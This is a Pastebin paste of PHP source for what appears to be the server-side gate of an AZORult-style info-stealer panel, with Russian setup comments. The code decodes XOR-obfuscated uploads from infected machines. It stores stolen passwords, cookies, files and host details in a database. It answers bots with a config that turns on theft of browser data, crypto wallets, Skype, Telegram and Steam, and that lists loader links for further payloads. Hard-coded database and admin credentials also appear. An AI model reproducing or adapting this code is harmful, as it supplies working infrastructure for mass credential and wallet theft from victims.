Advertisement
Guest User

Untitled

a guest
Jul 19th, 2018
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.48 KB | None | 0 0
  1. <?php
  2. // !!! ВНИМАНИЕ !!!
  3. // Кодировка этого файла UTF-8 без BOM
  4. // И после изменения данных она дожна остаться такой-же
  5. // Для редактирования этого файла не используйте стандартный блокнот windows! Он сбивает кодировку
  6. // Используйте редактор файлов в ПУ сервера(cPanel/ISP)
  7. // Или используйте Notepad++ ( https://notepad-plus-plus.org/ )
  8. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  9. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  10. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  11. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  12.  
  13. define('PANELPATH', ".//atmosfera/"); //Путь к админке, изменить только panel, слэши не трогать!
  14. define('DB_HOST', 'localhost'); //Сервер базы данных, без необходимости не менять!
  15. define('DB_USER', 'hard'); //Имя пользователя БД. Заменить root на имя пользователя
  16. define('DB_PASS', 'E5g1S3c0'); //Пароль пользователя БД. Вписать между кавычек пароль
  17. define('DB_NAME', 'hard'); //Имя базы данных. Заменить azorult2 на имя базы
  18. define('ADMIN_PWD', 'Parlament1488'); //Пароль в админку. Заменить 123 на новый пароль
  19.  
  20.  
  21.  
  22. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  23. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  24. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  25. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  26. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  27. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  28. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  29. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  30.  
  31.  
  32.  
  33. define('GET_IP_API', false);
  34.  
  35.  
  36.  
  37. function getUserIP()
  38. {
  39. return $_SERVER['REMOTE_ADDR'];
  40. }
  41.  
  42.  
  43. function CB_XORm($data, $key, $max){
  44. $datalen=strlen($data);
  45. $keylen=strlen($key);
  46. if ($datalen>=$max) $datalen=$max;
  47. $j=0;
  48. for($i=0;$i<$datalen; $i++){
  49. $data[$i] = chr(ord($data[$i])^ord($key[$j]));
  50. $j++;
  51. if($j>($keylen-1)) $j=0;
  52. }
  53. return $data;
  54. }
  55.  
  56.  
  57. function GetISO($ip)
  58. {
  59. if(!filter_var($ip, FILTER_VALIDATE_IP)) {
  60. return "AA";
  61. }
  62. include PANELPATH."modules/maxmind/maxmind.php";
  63. $reader = new Reader(PANELPATH.'modules/maxmind/GeoLite2-Country.mmdb');
  64. $iso = 'AA';
  65.  
  66. try {
  67. $data = $reader->get($ip);
  68. if(isset($data["represented_country"]["iso_code"]))
  69. $iso=$data["represented_country"]["iso_code"];
  70.  
  71. if(isset($data["registered_country"]["iso_code"]))
  72. $iso=$data["registered_country"]["iso_code"];
  73.  
  74. if(isset($data["country"]["iso_code"]))
  75. $iso=$data["country"]["iso_code"];
  76. } catch (Exception $e) {
  77. $iso = 'AA';
  78. };
  79.  
  80. if (strlen($iso)!=2)
  81. $iso = "AA";
  82. $reader->close();
  83. //unset($reader);
  84. return $iso;
  85. }
  86.  
  87.  
  88.  
  89. function GetWork($mid){
  90. include PANELPATH."functions.php";
  91. $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect');
  92. mysqli_set_charset($link, 'utf8' );
  93. $query = sprintf("SELECT COUNT(*) FROM reports WHERE reports.m_id='%s'",
  94. mysqli_real_escape_string($link, $mid));
  95. $res = mysqli_query($link, $query) or die('Query error');
  96.  
  97. $row = mysqli_fetch_row($res);
  98.  
  99. $count = $row[0];
  100. $repeated_reports = true;
  101.  
  102. $JSONstr = FileToString(PANELPATH."config.json");
  103. $obj=json_decode($JSONstr);
  104.  
  105.  
  106. $CFGstr = "";
  107.  
  108. $CFGstr .= ($obj->isDouble) ? '+' : '-';
  109. $CFGstr .= ($obj->isSavedPasswords) ? '+' : '-';
  110. $CFGstr .= ($obj->isBrowserData) ? '+' : '-';
  111. $CFGstr .= ($obj->isWallets) ? '+' : '-';
  112. $CFGstr .= ($obj->isSkype) ? '+' : '-';
  113. $CFGstr .= ($obj->isTelegram) ? '+' : '-';
  114. $CFGstr .= ($obj->isSteam) ? '+' : '-';
  115. $CFGstr .= ($obj->isScreenshot) ? '+' : '-';
  116. $CFGstr .= ($obj->isDelete) ? '+' : '-';
  117. $CFGstr .= ($obj->isBrowserHistory) ? '+' : '-';
  118. $CFGstr .= "\r\n";
  119. foreach($obj->files as $val){
  120. $CFGstr .= "F".chr(9);
  121. $CFGstr .= base64_decode($val->fgName).chr(9);
  122. $CFGstr .= base64_decode($val->fgPath).chr(9);
  123. $CFGstr .= base64_decode($val->fgMask).chr(9);
  124. $CFGstr .= base64_decode($val->fgMaxsize).chr(9);
  125. $CFGstr .= ($val->fgSubfolders) ? '+' : '-'; $CFGstr .= chr(9);
  126. $CFGstr .= ($val->fgShortcuts) ? '+' : '-'; $CFGstr .= chr(9);
  127.  
  128. $tmp = base64_decode($val->fgExceptions);
  129. $tmp = str_replace("\r\n", "|", $tmp);
  130. $tmp = str_replace("\n", "|", $tmp);
  131. $tmp = str_replace("||", "|", $tmp);
  132. $CFGstr .= $tmp;
  133.  
  134. $CFGstr .= "\r\n";
  135. }
  136.  
  137.  
  138. foreach($obj->loader as $val){
  139. $CFGstr .= "L".chr(9);
  140. $CFGstr .= base64_decode($val->ldLink).chr(9);
  141. $CFGstr .= ($val->ldHide) ? '+' : '-'; $CFGstr .= chr(9);
  142. $CFGstr .= base64_decode($val->ldTags);
  143. $CFGstr .= "\r\n";
  144. }
  145.  
  146.  
  147. $get_ip_api = GET_IP_API;
  148.  
  149. if ($get_ip_api == false){
  150. $IP = getUserIP();
  151. $CO = GetISO($IP);
  152. $CFGstr .= "I".chr(9).$IP.":".$CO."\r\n";
  153. }
  154.  
  155. if ($get_ip_api == true){
  156. $CFGstr .= "I".chr(9)."?".chr(9)."reserved"."\r\n";
  157. }
  158.  
  159.  
  160.  
  161.  
  162.  
  163. $repeated_reports = $obj->isDouble;
  164. $res = true;
  165. if(($repeated_reports == false) and ($count>0))
  166. $res=false;
  167. $ret = "exit";
  168.  
  169. if($res==true){
  170. $config = base64_encode($CFGstr);
  171. $ret = "<c>$config</c>".FileToString(PANELPATH."modules/bin/bin.bin");
  172. }
  173. mysqli_close($link);
  174. return $ret;
  175. };
  176.  
  177.  
  178.  
  179.  
  180. function ParseReport($data){
  181. include PANELPATH."functions.php";
  182.  
  183. $unical_guid = "DV8CF101-053A-4498-98VA-EAB3719A088W-VF9A8B7AD-0FA0-4899-B4RD-D8006738DQCD";
  184. $info = (pars($data, "<info$unical_guid>", "</info$unical_guid>"));
  185. $pwds = (pars($data, "<pwds$unical_guid>", "</pwds$unical_guid>"));
  186. $coks = (pars($data, "<coks$unical_guid>", "</coks$unical_guid>"));
  187. $file = (pars($data, "<file$unical_guid>", "</file$unical_guid>"));
  188. $list = (pars($data, "<list$unical_guid>", "</list$unical_guid>"));
  189.  
  190.  
  191. $IP = getUserIP();
  192.  
  193.  
  194. $info = explode('|', $info);
  195. $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect');
  196.  
  197. mysqli_set_charset($link, 'utf8' );
  198.  
  199.  
  200. $isocode = GetISO($IP);
  201.  
  202. if (@$isocode == "") $isocode = "AA";
  203.  
  204. $IPAPI = (pars($data, "<ip$unical_guid>", "</ip$unical_guid>"));
  205. if (strlen($IPAPI)>1){
  206.  
  207. $tIP = explode(':', $IPAPI)[0];
  208. $tCO = explode(':', $IPAPI)[1];
  209.  
  210. if (strlen($tIP)>1) $IP = $tIP;
  211. if (strlen($tCO)>1) $isocode = $tCO;
  212. };
  213. $data="";
  214.  
  215. $filename = $isocode."-".date("Y-m-d H-i-s").str_replace(array(".","/","\\"), "",urldecode($info[0]))."-v32.zip";
  216. WriteToFile(PANELPATH."/files/$filename", $file);
  217. $query = sprintf("INSERT INTO reports (m_id,ip,country,date,time,compname,username,os_name,os_arch,os_ver,files_count, btc_count, cc_count,passwords_count,bin_type,bin_rights,filename) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
  218. mysqli_real_escape_string($link, urldecode($info[0])),
  219. mysqli_real_escape_string($link, $IP),
  220. mysqli_real_escape_string($link, $isocode),
  221. mysqli_real_escape_string($link, date("Y-m-d")),
  222. mysqli_real_escape_string($link, date("H:i:s")),
  223. mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[4]))),
  224. mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[5]))), //user
  225. mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[2]))),
  226. mysqli_real_escape_string($link, urldecode($info[3])),
  227. mysqli_real_escape_string($link, urldecode($info[1])),
  228.  
  229. mysqli_real_escape_string($link, urldecode($info[9])),
  230. mysqli_real_escape_string($link, urldecode($info[7])),
  231. mysqli_real_escape_string($link, urldecode($info[8])),
  232. mysqli_real_escape_string($link, urldecode($info[6])),
  233.  
  234. mysqli_real_escape_string($link, urldecode($info[10])),
  235. mysqli_real_escape_string($link, urldecode($info[11])),
  236. mysqli_real_escape_string($link, $filename));
  237.  
  238. $res = mysqli_query($link,$query) or die('Query error');
  239. $r_id= mysqli_insert_id($link);
  240.  
  241. $pwdlist = explode("\r\n", $pwds);
  242.  
  243. $query = 'INSERT INTO `passwords` (p_soft_type, p_soft_name,r_id, p_p1, p_p2, p_p3, p_p4) VALUES ';
  244. foreach ($pwdlist as &$value) {
  245. $line = explode("|",$value);
  246. $soft_type = mysqli_real_escape_string($link, urldecode(@$line[0]));
  247. $soft_name = mysqli_real_escape_string($link, urldecode(@$line[1]));
  248. $p1 = mysqli_real_escape_string($link, urldecode(@$line[2]));
  249. $p2 = mysqli_real_escape_string($link, urldecode(@$line[3]));
  250. $p3 = mysqli_real_escape_string($link, urldecode(@$line[4]));
  251. $p4 = mysqli_real_escape_string($link, urldecode(@$line[5]));
  252. if(strlen($soft_type)>0)
  253. $query .= "('$soft_type', '$soft_name','$r_id', '$p1', '$p2', '$p3', '$p4'),";
  254.  
  255. }
  256. $query = substr($query, 0, -1);
  257. $result = mysqli_query($link, $query);
  258.  
  259. //$result = mysqli_query($link, "INSERT INTO `passwords` (p_soft_type, p_soft_name,r_id, p_p1, p_p2, p_p3, p_p4) VALUES ('$soft_type', '$soft_name','$r_id', '$p1', '$p2', '$p3', '$p4')");
  260.  
  261. $query = 'INSERT INTO `cookies`(domain, r_id) VALUES ';
  262. $cookielist = explode("\r\n", $coks);
  263. foreach ($cookielist as $host) {
  264. $query .= sprintf("('%s', '$r_id'),", mysqli_real_escape_string($link, urldecode($host)))."\r\n";
  265.  
  266. }
  267. $query = substr($query, 0, -3);
  268. $result = mysqli_query($link, $query);
  269. mysqli_close($link);
  270.  
  271.  
  272.  
  273. };
  274.  
  275.  
  276.  
  277. $xorkey = chr(13).chr(10).chr(200);
  278. $postdata = file_get_contents("php://input");
  279.  
  280. $postdata = CB_XORm($postdata, $xorkey, 1024*512);
  281. if(strncmp("<", $postdata, 1)==0){
  282. echo "OK";
  283. ParseReport($postdata);
  284. die();
  285. };
  286.  
  287.  
  288. if(strncmp("G", $postdata, 1)==0){
  289. $work=GetWork(urldecode(substr($postdata,1)));
  290. $work=CB_XORm($work, $xorkey, 1024*512);
  291. echo $work;
  292. };
  293.  
  294.  
  295. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement